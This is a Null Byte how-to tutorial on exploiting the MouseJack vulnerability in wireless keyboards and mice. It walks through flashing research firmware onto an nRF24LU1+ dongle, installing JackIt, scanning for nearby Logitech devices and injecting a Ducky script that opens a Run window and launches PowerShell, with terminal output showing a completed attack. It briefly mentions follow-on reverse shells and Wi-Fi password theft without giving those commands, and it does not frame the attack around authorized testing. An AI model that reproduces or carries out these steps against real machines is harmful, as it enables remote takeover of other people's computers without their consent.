How To: Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ Transceiver

Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ Transceiver

MouseJack vulnerabilities were disclosed over three years ago. Some wireless keyboard manufacturers have since issued firmware updates, but millions (if not billions) of keyboards remain unpatched worldwide, either because they can't be updated or because the manufacturer never bothered to issue one.

According to Bastille, "MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice." Led by Marc Newlin, MouseJack takes advantage of a USB dongle's (shown below) willingness to accept unencrypted keystrokes from surrounding devices.

Image by tokyoneon/Null Byte

However, the concept of keystroke sniffing and injection was first made public by Thorsten Schroeder and Max Moser in 2010. Later, Travis Goodspeed published "Promiscuity is the nRF24L01+'s Duty," which expanded on the duo's work. In 2015, Samy Kamkar debuted KeySweeper, an Arduino-based USB wall charger designed to passively sniff and log keystrokes made by Microsoft keyboards.

Marc discovered that wireless mice and keyboards manufactured by AmazonBasics, Dell, Gigabyte, HP, Lenovo, Logitech, and Microsoft were all affected by many of the MouseJack vulnerabilities. An attacker with a Crazyradio PA device (nRF24LU1+) can inject keystrokes into most of these USB dongles as well as sniff keystrokes and perform denial-of-service attacks. Ultimately, it allows the attacker to compromise and remotely control a computer from up to 250 feet away.

Crazyradio PA USB radio dongle based on Nordic Semiconductor's nRF24LU1+. Image by tokyoneon/Null Byte

To follow along with the guide below, you will need a nRF24LU1+ wireless transceiver such as the Crazyradio PA or something similar.

Step 1: Flash the Firmware

To get started, new nRF24LU1+ hardware will need to be flashed with custom firmware to scan for vulnerable devices and inject keystrokes. First, make sure Kali's APT package index is up to date:

~$ apt-get update

Several dependencies are required to execute the Python scripts used to build and automate the flashing process. Use the below apt-get command to make sure Git, Python, and other required packages are installed and up to date.

~$ apt-get install sdcc binutils python python-pip git

Reading package lists... Done
Building dependency tree
Reading state information... Done
python is already the newest version (2.7.16-1).
python-pip is already the newest version (18.1-5).
The following packages were automatically installed and are no longer required:
  libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
  binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries
Suggested packages:
  binutils-doc sdcc-ucsim
The following NEW packages will be installed:
  gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries
The following packages will be upgraded:
  binutils binutils-common binutils-x86-64-linux-gnu libbinutils
4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded.
Need to get 9,868 kB of archives.
After this operation, 63.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]

The version of PIP available in Kali's repository might be a bit outdated. Update it with the following command.

~$ pip install --upgrade pip

Collecting pip
  Downloading https://files.pythonhosted.org/packages/f9/fb/863012b13912709c13cf5cfdbfb304fa6c727659d6290438e1a88df9d848/pip-19.1-py2.py3-none-any.whl (1.4MB)
    100% |████████████████████████████████| 1.4MB 114kB/s
Installing collected packages: pip
  Found existing installation: pip 18.1
    Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr
    Can't uninstall 'pip'. No files were found to uninstall.
Successfully installed pip-19.1

More dependencies need to be installed with PIP. Use the -I option when installing the PyUSB package, a Python USB access module.

~$ pip install --upgrade -I pyusb

DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
Collecting pyusb
  Downloading https://files.pythonhosted.org/packages/5f/34/2095e821c01225377dda4ebdbd53d8316d6abb243c9bee43d3888fa91dd6/pyusb-1.0.2.tar.gz (54kB)
     |████████████████████████████████| 61kB 82kB/s
Building wheels for collected packages: pyusb
  Building wheel for pyusb (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5
Successfully built pyusb
Installing collected packages: pyusb
Successfully installed pyusb-1.0.2

And finally, install the last PlatformIO package, an open-source ecosystem for IoT development.

~$ pip install --upgrade platformio

Collecting platformio
  Downloading https://files.pythonhosted.org/packages/fe/01/69aa7d8ef8cd74493338396ff86dc1bbfe85ae58b77fc705924c920a38eb/platformio-3.6.7-py27-none-any.whl (161kB)
     |████████████████████████████████| 163kB 92kB/s
Collecting pyserial!=3.3,<4,>=3 (from platformio)
  Downloading https://files.pythonhosted.org/packages/0d/e4/2a744dd9e3be04a0c0907414e2a01a7c88bb3915cbe3c8cc06e209f59c30/pyserial-3.4-py2.py3-none-any.whl (193kB)
     |████████████████████████████████| 194kB 179kB/s
Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0)
Collecting click<6,>=5 (from platformio)
  Downloading https://files.pythonhosted.org/packages/8f/98/14966b6d772fd5fba1eb3bb34a62a7f736d609572493397cdc5715c14514/click-5.1-py2.py3-none-any.whl (65kB)
     |████████████████████████████████| 71kB 188kB/s
Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7)
Collecting bottle<0.13 (from platformio)
  Downloading https://files.pythonhosted.org/packages/32/4e/ed046324d5ec980c252987c1dca191e001b9f06ceffaebf037eef469937c/bottle-0.12.16.tar.gz (72kB)
     |████████████████████████████████| 81kB 153kB/s
Collecting semantic-version<3,>=2.5.0 (from platformio)
  Downloading https://files.pythonhosted.org/packages/72/83/f76958017f3094b072d8e3a72d25c3ed65f754cc607fdb6a7b33d84ab1d5/semantic_version-2.6.0.tar.gz
Building wheels for collected packages: bottle, semantic-version
  Building wheel for bottle (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7
  Building wheel for semantic-version (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10
Successfully built bottle semantic-version
Installing collected packages: pyserial, click, bottle, semantic-version, platformio
  Found existing installation: Click 7.0
    Uninstalling Click-7.0:
      Successfully uninstalled Click-7.0
Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0

Step 2: Clone the MouseJack Repository

Clone the MouseJack repository of scripts on GitHub into the /opt directory.

~$ git clone https://github.com/BastilleResearch/mousejack /opt/mousejack

Cloning into '/opt/mousejack'...
remote: Enumerating objects: 285, done.
remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285
Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done.
Resolving deltas: 100% (131/131), done.

Change into the new mousejack/ directory.

~$ cd /opt/mousejack/

Use the submodule init options to initialize the local configuration file for the nrf-research-firmware. This is the firmware being flashed onto the nRF24LU1+ device.

/opt/mousejack$ git submodule init

Submodule 'nrf-research-firmware' (https://github.com/BastilleResearch/nrf-research-firmware.git) registered for path 'nrf-research-firmware'

Then, use the submodule update options to fetch all the data and checkout the appropriate commit listed.

/opt/mousejack$ git submodule update

Cloning into '/opt/mousejack/nrf-research-firmware'...
Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'

Change into the nrf-research-firmware/ directory.

/opt/mousejack$ cd nrf-research-firmware/

Use the make command to execute the commands in the Makefile.

/nrf-research-firmware$ make

mkdir -p bin
sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel
sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel
sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel
sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel
sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx
objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin
objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin
objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx

At this point, the nRF24LU1+ device should be inserted into the computer. Then, execute the make install command.

/nrf-research-firmware$ make install

./prog/usb-flasher/usb-flash.py bin/dongle.bin
[2019-04-25 23:55:44.351]  Looking for a compatible device that can jump to the Nordic bootloader
[2019-04-25 23:55:44.378]  Device found, jumping to the Nordic bootloader
[2019-04-25 23:55:44.969]  Looking for a device running the Nordic bootloader
[2019-04-25 23:55:45.171]  Writing image to flash
[2019-04-25 23:55:45.808]  Verifying write
[2019-04-25 23:55:45.867]  Firmware programming completed successfully
[2019-04-25 23:55:45.867]  Please unplug your dongle or breakout board and plug it back in.

As instructed, unplug the nRF24LU1+ from the computer. To verify the firmware was flashed, plug the nRF24LU1+ device back into the computer and use the dmesg command. The product and manufacture lines should read "Research Firmware" and "RFStorm," respectively.

/nrf-research-firmware$ dmesg

[ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd
[ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01
[ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[ 2434.136942] usb 2-1: Product: Research Firmware
[ 2434.136946] usb 2-1: Manufacturer: RFStorm

Step 3: Clone the JackIt Repository

With the nRF24LU1+ device set up, it's now possible to scan the surrounding area for wireless mice and keyboards. There are several great Python scripts included in the MouseJack repository, but we'll instead use the JackIt script to automate keystroke injection.

Created by phikshun and infamy, JackIt is an automation tool designed to use USB Rubber Ducky scripts to inject keystrokes into vulnerable devices.

Start by downloading the JackIt repository.

~$ git clone https://github.com/insecurityofthings/jackit.git /opt/jackit

Cloning into '/opt/jackit'...
remote: Enumerating objects: 718, done.
remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718
Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done.
Resolving deltas: 100% (439/439), done.

Change into the new jackit/ directory.

~$ cd /opt/jackit/

List the directory contents.

/opt/jackit$ ls -la

total 48
drwxr-xr-x 6 root root 4096 Apr 26 22:25 .
drwxr-xr-x 6 root root 4096 Apr 26 22:25 ..
drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin
drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples
drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git
-rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore
drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit
-rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md
-rw-r--r-- 1 root root   52 Apr 26 22:25 requirements.txt
-rwxr-xr-x 1 root root  594 Apr 26 22:25 setup.py
-rw-r--r-- 1 root root  289 Apr 26 22:25 tox.ini

We'll find a "requirements.txt" file. This indicates there are several dependencies that should be installed with PIP. That's it for the setup.

/opt/jackit$ pip install -e .

Obtaining file:///opt/jackit
Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1)
Collecting pyusb==1.0.0 (from JackIt==0.1.0)
  Downloading https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz (52kB)
     |████████████████████████████████| 61kB 81kB/s
Collecting six==1.10.0 (from JackIt==0.1.0)
  Downloading https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl
Collecting tabulate==0.7.5 (from JackIt==0.1.0)
  Downloading https://files.pythonhosted.org/packages/db/40/6ffc855c365769c454591ac30a25e9ea0b3e8c952a1259141f5b9878bd3d/tabulate-0.7.5.tar.gz
Building wheels for collected packages: pyusb, tabulate
  Building wheel for pyusb (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f
  Building wheel for tabulate (setup.py) ... done
  Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648
Successfully built pyusb tabulate
Installing collected packages: pyusb, six, tabulate, JackIt
  Found existing installation: pyusb 1.0.2
    Uninstalling pyusb-1.0.2:
      Successfully uninstalled pyusb-1.0.2
  Found existing installation: six 1.12.0
    Uninstalling six-1.12.0:
      Successfully uninstalled six-1.12.0
  Running setup.py develop for JackIt
Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5

Step 4: Attack Wireless Keyboards & Mice

Scan the surrounding area for vulnerable devices by simply typing jackit into any terminal.

~$ jackit

     ____.              __   .___  __
    |    |____    ____ |  | _|   |/  |_
    |    \__  \ _/ ___\|  |/ /   \   __\
/\__|    |/ __ \\  \___|    <|   ||  |
\________(____  /\___  >__|_ \___||__|
              \/     \/     \/
JackIt Version 1.00
Created by phikshun, infamy

[!] You must supply a ducky script using --script <filename>
[!] Attacks are disabled.
[+] Starting scan...

[+] Scanning every 5s CTRL-C when ready.

  KEY  ADDRESS         CHANNELS                    COUNT  SEEN         TYPE          PACKET
-----  --------------  ------------------------  -------  -----------  ------------  -----------------------------
    1  C7:D4:21:98:07  74                              3  0:00:07 ago  Logitech HID  00:C2:00:00:03:10:00:00:00:2B

JackIt will continuously scan the area for wireless mice and keyboards. A vulnerable device will identify its address (serial number), channel, and type in the terminal. This information can be used for a targeted attack. For example, the below USB Rubber Ducky payload can be used to open a run window and inject keystrokes into the target computer.

GUI r
DELAY 1000
STRING powershell <payload here>
ENTER

To use USB Rubber Ducky script with JackIt, use the following command.

~$ jackit --reset --address C7:D4:21:98:07 --vendor Logitech --script /path/to/ducky/script.txt

Press Ctrl + c to stop scanning. JackIt will ask which address to inject the keystrokes. This is a targeted attack, so only one serial number will appear in the scan. Press 1, then press Enter.

[+] Sniffing for C7:D4:21:98:07 every 5s CTRL-C when ready.

  KEY  ADDRESS           CHANNELS    COUNT  SEEN         TYPE          PACKET
-----  --------------  ----------  -------  -----------  ------------  -----------------------------
    1  C7:D4:21:98:07           2        1  0:00:10 ago  Logitech HID  00:C2:00:00:00:00:00:00:00:00
^C

[+] Select target keys (1-1) separated by commas, or 'all':  [all]: 1
[+] Ping success on channel 65
[+] Sending attack to C7:D4:21:98:07 [Logitech HID] on channel 65

[+] All attacks completed

When the keystrokes are injected, the device will perform the following commands.

The Ducky Script will open the run window and type some arbitrary text. More complex PowerShell attacks may include Wi-Fi password exfiltration, live streaming the Windows 10 desktop, and Powercat reverse shells with payloads hosted on Microsoft servers.

Final Thoughts

There are still so many vulnerable mice and keyboards in the wild. Since Marc and Bastille released the MouseJack white paper in 2016, some vendors have issued firmware updates for products not utilizing one-time programmable memory (PROM). Still, most vulnerable USB dongles can't be patched due to hardware limitations. Even if they are patched, such as with some Logitech devices that are updated manually, they can still be vulnerable to attacks. Other vendors have pushed firmware updates going forward, but that doesn't mean those devices are safe, leaving an unknown number of vulnerable products still in use worldwide.

Thanks for reading! If you have any questions, you can leave a comment here or message me on Twitter @tokyoneon_.

Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:

Cover photo and GIF by tokyoneon/Null Byte

1 Comment

Worked on my Logitech USB dongle and I don't even have a logitech keyboard, just a mouse! Amazing guide thank you!

Share Your Thoughts

  • Hot
  • Latest